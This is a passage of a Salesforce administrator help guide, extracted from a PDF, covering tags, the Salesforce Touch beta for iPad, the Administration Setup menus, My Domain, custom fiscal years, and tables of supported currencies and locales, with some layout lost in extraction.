name for the tag in the text box that appears and click Save.
To delete a tag, hover over the tag and select Delete from the drop-down list that appears around the tag. The tag is
removed from every record in your organization and is placed in the Recycle Bin.
If you restore a tag from the Recycle Bin, it is automatically reassociated with the records from which it was removed. For
more information, see Recycle Bin on page 58.
You can rename or delete any personal tag, but you must have the Tag Manager permission to rename or delete a public
tag.
Reviewing Personal Tag Statistics
Click Personal Tag Usage on the right side. This page displays your current number of unique personal tags and personal tag
applications. You can have a maximum of:
If you are approaching your personal tag limits, consider merging similar tags into a single tag by renaming. For example, if
you have tags for Bicycling, Cycling, and Biking, you can rename Cycling and Biking to Bicycling to reduce your number of
unique personal tags.
To reduce the number of instances of tags applied to records, delete personal tags that you no longer use.
See Also:
Tagging Records
Tags Limits
Using the Tags Sidebar Component
Search Overview
379
Tags Limits
Available in: All Editions except Database.com
See Also:
Tags Overview
Tagging Records
Removing Tags from Records
Browsing, Searching, and Managing Tags
Deleting Personal Tags for Deactivated Users
The sidebar in setup includes a search box for browsing and quickly finding setup tools. In the left pane of any setup page,
you can:
Type the first few characters of a setting name in the Quick Find box. As you type, items that match your search terms
appear in the menu. Click an item in the list to go to its setup page.
For example, to quickly find the user profiles page, type prof in the Quick Find box.
Click Expand All to open all setup menus.
If you have typed anything in the Quick Find box, only the menus with matching items are expanded.
Click Collapse All to close all setup menus.
Quick Find only returns results from the setup menuit doesn't search records in your organization. To search for records,
use global search, sidebar search, or advanced search.
380
Salesforce Touch
SALESFORCE TOUCH
Salesforce Touch OverviewBeta
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions
Salesforce Touch, also referred to as touch.salesforce.com, is a version of Salesforce that is designed specifically for touchscreen
mobile devices. With Salesforce Touch, you have real-time access to the same information that you see in the office, but
organized for working while on the go.
Note:
This is a beta version of Salesforce Touch. This release is production-quality but has limited functionality and some
known limitations. At this time, the app is supported on Apple iPad devices only. You can use Chatter, view sales
data, and create tasks. You cant create or edit records yet, but were working on these features now.
Because of the limited functionality in this release, Salesforce Touch includes links to the full Salesforce site, where
you can perform tasks not currently available in Salesforce Touch. Salesforce.com provides these links for your
convenience but use of the full site from Salesforce Touch isnt officially supported.
Salesforce Touch provides these benefits:
An intuitive interface that is optimized for easy navigation and data interaction on an iPad, so you can scroll, tap, and
swipe through records to quickly find the information you need
Automatic updates and enhancements, so youre always using the most current version
Support for your organizations Salesforce customizations (although this support is limited in the beta release)
Note:
To learn about using Salesforce Touch, see the Salesforce Touch for iPad FAQ. You can access the FAQ directly from
the app by tapping the Settings icon ( ) or you can visit
www.salesforce.com/docs/Language/touch_faq_tablet/index.htm, where Language is your language
setting (for example, de, en, ja, and so forth). If you read the FAQ on a device other than an iPad, use the Apple Safari
or Google Chrome browsers for best results; youll encounter display problems with other browsers.
See Also:
Salesforce Touch Requirements
Enabling Salesforce Touch
Accessing Salesforce Touch
381
Salesforce Touch
See Also:
Salesforce Touch OverviewBeta
Enabling Salesforce Touch
382
Salesforce Touch
Note: The Salesforce Touch beta release must be activated for your Salesforce account before you can do the steps
described here. If the Salesforce Touch setup option isnt visible, go to touch.salesforce.com or contact
salesforce.com Customer Support to sign up for the beta release.
To enable Salesforce Touch for all users in your organization:
1. Click Your Name > Setup > Mobile Administration > Salesforce Touch > Settings.
2. Select Enable Salesforce Touch for all users.
3. Click Save.
When Salesforce Touch is enabled, all users who log in to Salesforce from the Safari on iPad web browser are automatically
redirected to Touch Web, the mobile web version of Salesforce Touch. If users prefer to access the full Salesforce site instead,
they can turn off the Touch Web redirection for themselves. See Turning Touch Web Off or On on page 384 for more
information.
See Also:
Salesforce Touch OverviewBeta
Salesforce Touch Requirements
Accessing Salesforce Touch
Turning Touch Web Off or On
When Salesforce Touch is enabled for your organization, youre automatically redirected to Touch Web when you log in to
Salesforce from your Safari for iPad web browser.
383
Salesforce Touch
If Touch Web doesnt automatically start for you, make sure that you didnt turn it off. See Turning Touch Web Off or On
on page 384 for more information.
See Also:
Salesforce Touch OverviewBeta
Enabling Salesforce Touch
Turning Touch Web Off or On
If you prefer to access the full Salesforce site from the Safari for iPad web browser, you can turn off automatic redirection to
Touch Web, either from your iPad or from the full site. You can quickly re-enable Touch Web anytime from the full site.
To turn off Touch Web from your iPad:
1. Log in to Touch Web from Safari.
2. Tap .
3. Select Turn off Touch.
To turn off Touch Web from the full Salesforce site:
1.
2.
3.
4.
Click Your Name > Setup > My Personal Information > Personal Information.
Click Edit.
Deselect Touch User.
Click Save.
If you change your mind later, you can turn Touch Web back. From the full site, repeat the previous steps and select the
Touch User checkbox.
See Also:
Salesforce Touch OverviewBeta
Accessing Salesforce Touch
384
ADMINISTERING SALESFORCE
Click Your Name > Setup > Administration Setup to open the Administration Setup page. It contains setup and customization
options to help you set up your Salesforce organization.
The sidebar includes tools for browsing and searching setup options.
Manage Users
Expand the Manage Users folder under Administration Setup to access the following options:
Users
Create, edit, and deactivate users (see also About Customer Portal User Management on page 1696).
Mass Email Users
Send an email to several of your users at once.
Roles
Define your organizations role hierarchy.
Permission Sets
Specify user permissions, object permissions, field permissions, and access to apps, tabs, Apex classes, Visualforce pages,
and service providers, without changing users' profiles.
Profiles
Specify user permissions, object permissions, field permissions, record types, page layouts, desktop clients, login settings,
and access to apps, tabs, Apex classes, Visualforce pages, and service providers.
Public Groups
Add, update, or delete public groups.
Queues
Add, update, or delete queues for cases, leads, and custom objects.
Login History
View when your users are logging in.
Training History
View which users have taken online training.
385
Administering Salesforce
Company Profile
Expand the Company Profile folder under Administration Setup to access the following options:
Company Information
Update your company's information and set up multiple currencies.
Manage Currencies
Set up multiple currencies.
Manage Divisions
Set up divisions to segment your data for greater ease-of-use.
Fiscal Year
Set up fiscal years for your organization.
Business Hours
Set up business hours for your customer support team.
Holidays
Set up holidays during which business hours for your customer support team don't apply.
My Domain
Set up a custom Salesforce domain name, which appears in the URLs that you use to login to and use the application.
Security Controls
Expand the Security Controls folder under Administration Setup to access the following options:
Sharing Settings
Define how your users share data.
Field Accessibility
View the access that users have to specific fields based on profile and record types.
Password Policies
Define password policies for security.
Session Settings
Lock users sessions to an IP address or change session timeout settings.
Network Access
Define IP addresses from which users can log in to your organization.
Certificate and Key Management
Create and manage Salesforce key pairs and certificates for your organization.
View Setup Audit Trail
View which users have recently changed your organizations setup.
Account Owner Report
Restrict users from running the Account Owners report, which lists all accounts and who owns them.
386
Administering Salesforce
Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options:
Letterheads
Create branded letterheads for HTML emails.
Email Templates
Create email templates to standardize communication.
Mail Merge Templates
Upload templates for mail merge documents.
Globalization
View the Salesforce Globalization Overview online help topic to learn about the different administration tasks that are available
for globalizing Salesforce.
Data Management
Expand the Data Management folder under Administration Setup to access the following options:
Analytic Snapshots
Enable users to automatically run reports and save report results to fields on custom objects for further customization.
Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects
Import your organizations accounts, contacts, custom objects, leads, person accounts, and solutions.
Data Export
Export your organizations data.
Storage Usage
View how much data storage and file storage your organization is using.
Mass Transfer Records
Transfer multiple records at one time.
387
Administering Salesforce
Monitoring
Expand the Monitoring folder under Administration Setup to access the following options:
Imports
An administrator can check the Import Queue to view details about an import or to cancel an organization import.
Outbound Messages
An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow
or approval processes.
Time-Based Workflow
Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules.
Case Escalations
Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation
rules.
API Usage Notifications
Define a notification process that automatically sends email to a specified user when API requests for an organization
exceed the specified limit.
Mass Emails
View the status of scheduled mass emails and cancel mass emails as appropriate.
Debug Logs
Specify the users for whom you want to retain the Apex debug logs in your organization.
388
Administering Salesforce
Scheduled Jobs
View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes.
Email Log Files
Request detailed summaries of email sent from Salesforce over the last 30 days.
Bulk Data Load Jobs
Monitor the status of current and recent bulk data load jobs.
Email Snapshots
Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors.
Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless
users. Mobile configurations are sets of parameters that determine which data Salesforce transmits, and which users receive
that data on their mobile devices.
Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect
Offline and Connect for Outlook.
Outlook Configurations
Define the behavior of Salesforce for Outlook for your users, including the Salesforce options that appear in the Outlook
user interface, the data that syncs between Salesforce and Outlook, and which users receive that data.
Offline Briefcase Configurations
Define the behavior of Connect Offline for your offline users. Offline briefcase configurations are sets of parameters
that determine which data Salesforce transmits and which users receive that data in Connect Offline.
Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your
organization:
Deliverability
Set up email delivery options that affect your entire organization.
Organization-Wide Addresses
Associate an email alias with each available user profile.
Compliance BCC Email
If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance
BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under
My Email Settings.
Email Relay Activation
Configure Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP)
server.
389
Company Information
Test Deliverability
Verify your organization can receive email from every Salesforce IP address.
Email To Salesforce
Automatically log emails you send from third-party email accounts as activities on lead and contact records in Salesforce.
Attachments Sent as Links
Find and delete email attachments sent as links.
Email Footers on page 1045
Create footers for outgoing email.
Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce with Google Apps: a suite of on-demand
communication and collaboration tools hosted by Google and designed for business users.
COMPANY INFORMATION
About Company Information
Available in: All Editions
Customize Application
When your company signs up, the information provided during signup is displayed on the Company Information page at
Your Name > Setup > Company Profile > Company Information.
From the Company Information page, you can:
Click Edit to change your company's information, including your organization's Default Language setting.
Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise,
Unlimited, Database.com, and Developer Editions only.
Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list.
For detailed instructions, see Checkout User Guide.
The Company Information page also displays all of the active user and feature licenses you have purchased for your organization.
A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are
available to the user. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline.
This page lists the following for each type of license:
390
Company Information
My Domain Overview
In addition to license types, the following portal login information is listed for organizations that have Customer Portals or
partner portals enabled:
Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month.
Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner
See Also:
Company Information Fields
Understanding Language, Locale, and Currency
Managing Multiple Currencies
Understanding User License Types
Viewing Feature Licenses
My Domain Overview
Available in: Unlimited, Enterprise, Developer, and Database.com editions.
Using My Domain, you can define a custom Salesforce domain name for your organization that highlights your brand, or a
different term that represents your business. Using a custom domain name provides important advantages, such as increased
security and better support for single sign-on. My Domain is also available for sandbox environments. You can only define a
custom domain name one time.
Note: My Domain is subject to these additional Terms of Use.
For example, the login URL for a company called Universal Containers would be:
https://universalcontainers.my.salesforce.com/. You can use up to 40 characters.
It's a snap to set up a custom domain name. After you decide on the name or term you want to use, My Domain checks to
make sure your subdomain is available. Then it registers the domain name and publishes it to the internet. After a brief period,
you'll receive an email to let you know your new domain name is ready for testing. Log in using the new URL and test the
URLs of other pages.
When deployed, you have options for how you want to handle page requests that don't use the new domain name. You can
block them entirely or redirect them to the new URLwith or without a message.
391
Company Information
Important: After you deploy your new domain name, you can't reverse it. After deployment, all users will be redirected
to your new domain.
See Also:
Setting Up and Rolling Out a Domain Name
Customize Application
When you set up a domain name for your organization, all of your application URLs, including those of Visualforce pages,
will change. This table shows you the differences.
URL Type
Old URL
New URL
Login
https://login.salesforce.com
https://<subdomain>.my.salesforce.com
Application page
or tab
https://na1.salesforce.com/<pageID>
https://<subdomain>.my.salesforce.com
/<pageID>
https://<yournamespace101>.na1.visual. https://<subdomain>-force.com/apex/<pagename>
<yournamespace>.na1.visual.force.com
/apex/<pagename>
namespaces in a sandbox environment, the format of all Visualforce page URLs in a sandbox is
https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com/apex/<pagename>.
392
Company Information
5. You'll receive an email when your domain name is ready for testing. (It can take from 24 to 72 hours.) Click the URL in
the email to login to Salesforce using your new domain name.
If you have customized your Salesforce UI with features such as custom buttons or Visualforce pages, make sure you test
thoroughly before you roll out your new domain name. Your customizations should not use instance-based URLs.
After you roll out your new domain name, use My Domain's redirect tools to gradually phase it in. For example, choose
the Redirected with a warning... option to make sure users update their bookmarks. When your organization is
ready to use the new domain URLs exclusively, return to setup and choose the Blocked option so users can't use their
old URLs.
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your
Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.
393
Company Information
4. Scroll to the System Maintenance table and look for entries for your instance.
See Also:
My Domain Overview
Customize Application
You can set one of two types of fiscal years: standard fiscal years or custom fiscal years. For specific information on both types
of fiscal years, see About Fiscal Years on page 396.
Opportunity Pipeline
Quarterly Forecast Summary
Quota vs. Actual
Click Your Name > Setup > Company Profile > Fiscal Year.
Select Standard Fiscal Year.
Choose the start month.
Specify whether the fiscal year is defined by the year it begins or ends.
394
Company Information
6. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your
existing forecasts and quotas. This option may not be available depending on your forecast settings.
7. Click Save to finish.
Opportunity Pipeline
Quarterly Forecast Summary
Quota vs. Actual
Click Your Name > Setup > Company Profile > Fiscal Year.
Select Custom Fiscal Year.
Click Enable Custom Fiscal Years.
If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK.
Caution: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your
reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand
and are prepared for all the implications.
If you are not certain you want to enable custom fiscal years, click Cancel.
6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 402.
See Also:
Setting Up Customizable Forecasting
About Fiscal Years
Defining a Custom Fiscal Year
Choosing a Custom Fiscal Year Template
395
Company Information
Customize Application
Not all businesses use the Gregorian year for their fiscal year. Salesforce makes it easy for you to define a fiscal year that fits
your business needs.
If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year
by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets
your needs.
Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire
organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce including in reporting,
opportunities, and forecasting.
Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and
forecasts whenever a custom fiscal year is created or changed.
See Also:
Setting the Fiscal Year
396
Company Information
modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters
and periods to meet your needs.
Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called P2 or February.
Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to
synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately
upon being saved.
Considerations When Enabling Custom Fiscal Years
Before enabling custom fiscal year, consider these issues:
Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the
same Gregorian calendar structure as the Salesforce standard fiscal years.
Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines.
Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you
have customizable forecasting, see Do I Have Customizable Forecasting? on page 2502.
Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas.
When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year
will be lost.
When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history,
and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and
reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as
usual.
Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date.
To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report
before running a forecast report.
Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity
with schedule reports.
Opportunity list views will not include a fiscal period columns.
When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR()
date functions in SOQL. For more information on SOQL date functions, see the Salesforce SOQL and SOSL Reference
Guide.
Customize Application
If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization
to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:
397
Company Information
Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it
to be the second quarter, select the checkbox for the first quarter.
5. Click Insert.
Note: The maximum number of fiscal periods is 250.
Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Select the checkbox for the period you want to delete.
Click Delete.
Note: You must have at least one quarter, one period, and one week.
398
Company Information
Click Your Name > Setup > Company Profile > Fiscal Year.
Click Edit for the fiscal year you want to edit.
If it is not already expanded, expand the Advanced Customization section.
Choose the length from the Duration drop-down list for the fiscal week.
Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks
that compose the period or quarter.
Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save
to save your fiscal year.
See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Choosing a Custom Fiscal Year Template
Customize Application
There are two ways to customize the labeling of your fiscal year:
1. Naming schemes and prefix choices
2. Fiscal year picklist customization
399
Company Information
quarter is set by their order (the first quarter is labeled 1), but you can customize it by selecting a different value
from the quarter detail drop-down list.
Custom Quarter Names
This option allows you to set the quarter label to any name. The quarter label is set to the name you select from
Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize
it by selecting a different value from the quarter detail drop-down list.
Period Name Scheme
Numbered By Year
This option allows you to set the period label based on its position in the year. The period label is a combination
of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period
prefix is P, the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on
page 400. By default the number for each period is set by their order (the first period is labeled 1), but you can
customize it by selecting a different value from the period detail drop-down list.
Numbered By Quarter
This option allows you to set the period label based on its position in the quarter. The period label is a combination
of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix
is P, and the sixth period is the second period in the second quarter, its label is P2. To customize the period
prefix, see Period Prefix on page 400. By default the number for each period is set by their order within the
quarter (the first period in a quarter is labeled 1), but you can customize it by selecting a different value from the
period detail drop-down list.
Standard Month Names
This option allows you to set the period label to the month name of the start of the period. For example, if a period
started on October 12 and ends on November 10, the period label would be October.
Custom Period Names
This option allows you to set the period label to any string. The period label is set to the string you select from
Period Name. By default the order of the period names is the same as the picklist order, which you can customize
by selecting a different value from the period detail drop-down list.
The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses
the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called Q4, the Q is the quarter
prefix.
Period Prefix
The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses
the Numbered By Year period naming scheme. For example, if the fiscal quarter is called P4, the P is the period
prefix.
Quarter Name
The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names
quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and
Winter), you could set the quarter name list to those values.
400
Company Information
Period Name
The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names
quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name
picklist.
Customize Application
When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available
to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to
meet your exact needs.
Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at
any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year
Structure on page 397.
Choose one of three types of templates:
4 Quarters per Year, 13 Weeks per Quarter
Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter.
These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed
of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example,
the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days
long. A typical customization for these templates is to add extra weeks for leap years.
4-4-5
Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks
4-5-4
Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks
5-4-4
Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks
401
Company Information
See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Customize Application
Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on
page 395 for more information.
Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years
so that they fit your company's calendar.
402
Company Information
If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom
fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs.
Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing
About Fiscal Years on page 396.
Click Your Name > Setup > Company Profile > Fiscal Year.
Click a defined fiscal year name to review the details. Close the fiscal year preview to continue.
Click Edit for the fiscal year you want to edit.
Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day.
If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates
a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this
fiscal year.
If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal
years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year.
Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is
defined using a Gregorian year template.
Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas,
forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically
adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or
deleting periods.
5. Click Preview.
6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to
make more detailed edits, see Customizing the Fiscal Year Structure on page 397.
403
Company Information
Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default
label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels
on page 399.
See Also:
Setting the Fiscal Year
Choosing a Custom Fiscal Year Template
Additional Options for Updating Picklists
About Fiscal Years
Customize Application
The available personal setup options vary according to which Salesforce Edition you have.
The Salesforce settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities,
etc.) are displayed. In a single currency organization, the Salesforce administrators set the currency locale, default language,
default locale, and default time zone for their organizations and the users can set their individual language, locale, and time
zone. In a multiple currency organization, the Salesforce administrators set the corporate currency, default language, default
locale, and default time zone for their organizations and the users can set their individual currency, language, locale, and time
zone.
Note: Single language organizations cannot change their language, although they can change their locale.
Setting
Currency
Corporate Currency
404
Company Information
Setting
New Corporate
Currency drop-down list.
Administrator in a single
currency organization
Not editable
Default Language
Administrator
Default Locale
Administrator
405
Company Information
Setting
Administrator
Language
User
Not editable
User
406
Company Information
Setting
Time Zone
User
See Also:
About Company Information
407
Company Information
Supported Currencies
Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions
Customize Application
The available personal setup options vary according to which Salesforce Edition you have.
Currency Code
Afghanistan Afghani
AFN
Albanian Lek
ALL
Algerian Dinar
DZD
Angola Kwanza
AOA
Argentine Peso
ARS
Armenian Dram
AMD
Aruba Florin
AWG
Australian Dollar
AUD
Azerbaijanian Manat
AZN
Bahamian Dollar
BSD
Bahraini Dinar
BHD
Bangladesh Taka
BDT
Barbados Dollar
BBD
Belarussian Ruble
BYR
Belize Dollar
BZD
Bermuda Dollar
BMD
Bhutan Ngultrum
BTN
Bolivia Mvdol
BOV
Bolivian Boliviano
BOB
Botswana Pula
BWP
Brazilian Real
BRL
408
Company Information
Supported Currencies
Currency Name
Currency Code
British Pound
GBP
Brunei Dollar
BND
Bulgaria Lev
BGN
Burundi Franc
BIF
Cambodia Riel
KHR
Canadian Dollar
CAD
CVE
KYD
XOF
XAF
Chilean Peso
CLP
Chinese Renminbi
CN
Chinese Yuan
CNY
Colombian Peso
COP
Comoros Franc
KMF
Convertible Marks
BAM
CRC
Croatian Kuna
HRK
Cuban Peso
CUP
Czech Koruna
CZK
Danish Krone
DKK
Dijibouti Franc
DJF
Dominican Peso
DOP
XCD
Egyptian Pound
EGP
Eritrea Nakfa
ERN
Estonian Kroon
EEK
Ethiopian Birr
ETB
Euro
EUR
FKP
Fiji Dollar
FJD
409
Company Information
Supported Currencies
Currency Name
Currency Code
Franc Congolais
CDF
Gambian Dalasi
GMD
Georgia Lari
GEL
Ghanian Cedi
GHS
Gibraltar Pound
GIP
Guatemala Quetzal
GTQ
Guinea Franc
GNF
Guyana Dollar
GYD
Haiti Gourde
HTG
Honduras Lempira
HNL
HKD
Hungarian Forint
HUF
Iceland Krona
ISK
Indian Rupee
INR
Indonesian Rupiah
IDR
Iranian Rial
IRR
Iraqi Dinar
IQD
Israeli Shekel
ILS
Jamaican Dollar
JMD
Japanese Yen
JPY
Jordanian Dinar
JOD
Kazakhstan Tenge
KZT
Kenyan Shilling
KES
Korean Won
KRW
Kuwaiti Dinar
KWD
Kyrgyzstan Som
KGS
Lao Kip
LAK
Latvian Lat
LVL
Lebanese Pound
LBP
Lesotho Loti
LSL
Liberian Dollar
LRD
410
Company Information
Supported Currencies
Currency Name
Currency Code
Libyan Dinar
LYD
Lithuanian Lita
LTL
Macau Pataca
MOP
Macedonian Denar
MKD
Malagasy Ariary
MGA
Malawi Kwacha
MWK
Malaysian Ringgit
MYR
Maldives Rufiyaa
MVR
Mauritania Ougulya
MRO
Mauritius Rupee
MUR
Mexican Peso
MXN
MXV
Moldovan Leu
MDL
Mongolian Tugrik
MNT
Moroccan Dirham
MAD
Mozambique Metical
MZN
Myanmar Kyat
MMK
Namibian Dollar
NAD
Nepalese Rupee
NPR
ANG
NZD
Nicaragua Cordoba
NIO
Nigerian Naira
NGN
KPW
Norwegian Krone
NOK
Omani Rial
OMR
Pacific Franc
XPF
Pakistani Rupee
PKR
Panama Balboa
PAB
PGK
Paraguayan Guarani
PYG
411
Company Information
Supported Currencies
Currency Name
Currency Code
PEN
Philippine Peso
PHP
Polish Zloty
PLN
Qatar Rial
QAR
Romanian Leu
RON
Russian Rouble
RUB
Rwanda Franc
RWF
Samoa Tala
WST
STD
SAR
Serbian Dinar
RSD
Seychelles Rupee
SCR
SLL
Singapore Dollar
SGD
SBD
Somali Shilling
SOS
ZAR
LKR
St Helena Pound
SHP
Sudanese Pound
SDG
Surinam Dollar
SRD
Swaziland Lilageni
SZL
Swedish Krona
SEK
Swiss Franc
CHF
Syrian Pound
SYP
Taiwan Dollar
TWD
Tajik Ruble
TJS
Tanzanian Shilling
TZS
Thai Baht
THB
Tonga Pa'anga
TOP
Trinidad&Tobago Dollar
TTD
412
Company Information
Supported Locales
Currency Name
Currency Code
Tunisian Dinar
TND
Turkish Lira
TRY
Turkmenistan Manat
TMT
U.S. Dollar
USD
UAE Dirham
AED
Ugandan Shilling
UGX
Ukraine Hryvnia
UAH
Unidades de fomento
CLF
UYU
Uzbekistan Sum
UZS
Vanuatu Vatu
VUV
VEF
Vietnam Dong
VND
Yemen Riyal
YER
Zambian Kwacha
ZMK
Zimbabwe Dollar
ZWD
See Also:
Understanding Language, Locale, and Currency
Supported Locales
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions
Customize Application
The available personal setup options vary according to which Salesforce Edition you have.
413
Company Information
Supported Locales
Users names
Addresses
Commas and periods in numbers
Code
Arabic
ar
Default
currency
Date and
time format
02/01/2008
04:30 PM
06:00
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Arabic
ar_AE
(United Arab
Emirates)
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Arabic
(Bahrain)
ar_BH
Bahraini
Dinar: BHD
02/01/2008
04:30 PM
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Arabic
(Egypt)
ar_EG
Egyptian
Pound EGP
02/01/2008
04:30 PM
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
414
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Arabic
(Jordan)
ar_JO
Jordanian
Dinar: JOD
02/01/2008
04:30 PM
06:00
Ms. FName
LName
1,234.56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Arabic
(Kuwait)
ar_KW
Kuwaiti
02/01/2008
Dinar: KWD 04:30 PM
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Arabic
(Lebanon)
ar_LB
Lebanese
Pound: LBP
02/01/2008
04:30 PM
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
06:00
1,234.56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Bulgarian
bg
2008-1-2
16:30
6:00
1 234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
415
Company Information
Supported Locales
Name
Code
Default
currency
Date and
time format
Bulgarian
(Bulgaria)
bg_BG
6:00
Ms. FName
LName
1 234,56
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Catalan
ca
02/01/2008
16:30
06:00
1.234,56
Ms. FName
LName
Address Line
1,
Address Line
2
City, State
ZipCode
Country
Catalan
(Spain)
ca_ES
Euro: EUR
